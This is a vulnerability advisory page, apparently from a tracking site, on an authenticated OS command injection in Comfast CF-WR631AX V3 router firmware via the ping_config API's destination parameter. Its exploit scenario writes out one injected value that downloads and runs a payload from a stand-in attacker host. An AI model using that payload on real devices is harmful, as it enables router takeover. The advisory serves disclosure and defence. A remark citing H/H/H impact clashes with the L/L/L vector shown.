EUVD-2026-38200
GHSA-fvx9-6cqj-p3f8
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
PR:L for required authentication; S:C and H/H/H because OS command injection on router firmware breaks application boundary, yielding full system root access.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A flaw has been found in Comfast CF-WR631AX V3 up to 2.7.0.8. This issue affects the function system of the file /cgi-bin/mbox-config?section=ping_config of the component API Endpoint. This manipulation of the argument destination causes os command injection. The attack is possible to be carried out remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
OS command injection in Comfast CF-WR631AX V3 firmware (versions 2.7.0.0 through 2.7.0.8) allows an authenticated remote attacker to execute arbitrary operating system commands by injecting shell metacharacters into the destination parameter of the ping configuration API endpoint at /cgi-bin/mbox-config?section=ping_config. A detailed public exploit analysis report is available on GitHub, materially lowering the exploitation barrier, though no CISA KEV listing confirms active in-the-wild campaigns at time of analysis. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated session on the router's administrative web interface, consistent with CVSS PR:L - the attacker must possess valid credentials for the management panel. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) correctly characterizes this as a low-complexity, network-accessible flaw requiring only authenticated access - all consistent with targeting a router admin panel over HTTP. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has obtained valid router administrative credentials - whether through credential stuffing against default credentials, phishing, or prior network compromise - sends a crafted HTTP request to /cgi-bin/mbox-config?section=ping_config with a `destination` parameter containing shell metacharacters such as `8.8.8.8; wget http://attacker.com/payload -O /tmp/p; chmod +x /tmp/p; /tmp/p`, causing the router's CGI handler to pass the injected string to the system shell and execute arbitrary commands. A full technical analysis report with exploit details is publicly available on GitHub, meaning a moderately skilled attacker can weaponize this with minimal effort. … |
| Remediation | No vendor-released patch has been identified at time of analysis; the vendor did not respond to responsible disclosure. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
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External POC / Exploit Code
Leaving vuln.today